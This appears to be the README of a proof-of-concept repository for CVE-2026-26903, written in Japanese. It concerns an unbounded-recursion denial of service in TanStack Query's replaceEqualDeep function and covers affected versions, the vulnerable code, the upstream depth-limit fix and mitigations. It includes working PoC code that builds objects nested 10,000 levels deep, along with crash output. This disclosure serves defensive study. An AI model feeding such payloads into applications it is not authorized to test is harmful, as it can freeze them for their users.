TanStack QueryのreplaceEqualDeep関数における無制限再帰によるサービス拒否
深くネストされたオブジェクトを含む単一の細工されたクエリ更新で、JavaScriptスレッドを無期限にフリーズさせ、アプリケーション全体を応答不能にすることができます。認証や特別な権限は必要ありません。
この脆弱性は、2026年1月14日に公開されたPR #10032 によって @tanstack/[email protected] で修正されました。
| パッケージ | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | 脆弱なquery-coreに依存 | 5.90.18+ |
| @tanstack/vue-query | 脆弱なquery-coreに依存 | 5.90.18+ |
| @tanstack/solid-query | 脆弱なquery-coreに依存 | 5.90.18+ |
| @tanstack/svelte-query | 脆弱なquery-coreに依存 | 6.1.7+ |
CVE-2026-26903: replaceEqualDeepにおける無制限再帰によるサービス拒否 (重要度: 中)
TanStack Queryの
replaceEqualDeep関数は、ネストされたオブジェクトを深さ制限なしで再帰的に比較します。深くネストされたデータ構造を処理する際、これにより無制限の再帰が発生し、スタックオーバーフローとアプリケーションのフリーズを引き起こす可能性があります。— MITRE 経由で割り当て
TanStack QueryのreplaceEqualDeep関数は、クエリデータが実際に変更されたかどうかを判定するために内部的に使用され、可能な場合はオブジェクト参照を保持して再レンダリングを最適化します。この関数は、深い等価比較を実行するためにオブジェクトのプロパティを再帰的に走査します。
再帰的な実装には深さ制限や循環検出がありません:
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeepを通過する任意のクエリ更新useQueryフックsetQueryData、invalidateQueries、またはその他のクエリキャッシュ操作CVE-2026-26903-PoC/
├── README.md # This file
├── LICENSE
├── poc.js # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html # Browser PoC (interactive visual demo)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
オプションA: スタンドアロンHTMLデモ (依存関係なし)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
オプションB: Reactアプリケーション (現実的なシナリオ)
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions
PoCは深くネストされたオブジェクトを生成し、replaceEqualDeepにそれらを処理させます:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10,000 levels deep
const newData = generateDeep(10000); // Different object, same structure
// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2
├── replaceEqualDeep(...) // Level 3
└── ... (continues for 10,000 levels)
各再帰呼び出しは新しいスタックフレームを追加し、JavaScriptエンジンのコールスタックが使い果たされるまで続き、スレッドをフリーズさせます。
場所: @tanstack/query-core/src/utils.ts (おおよそ)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: No depth limit or cycle detection
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
修正(TanStack Queryのコミット269351bで適用)は、無制限の再帰を防ぐために深さ制限を追加します:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... middle section unchanged ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
主な変更点:
depthパラメータを追加 — 再帰の深さを追跡するためのデフォルト値0depth > 500の場合、即座にbを返すreplaceEqualDeep(aItem, bItem, depth + 1)
このシンプルな修正により、スタックオーバーフローを防ぎつつ、妥当なネスト(500階層は実世界のデータ構造には十分以上)を許可します。replaceEqualDeepに深さ制限を実装します:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Prevent deep recursion
if (a === b) return a;
// ... existing logic ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... rest of function
}
または、再帰の代わりに反復的な走査を使用します。
この概念実証は、教育および許可を得たセキュリティテストの目的のみで提供されます。責任を持って使用し、自分が所有しているか、明示的なテスト許可を得たアプリケーションに対してのみ使用してください。著者は、この情報の誤用について一切責任を負いません。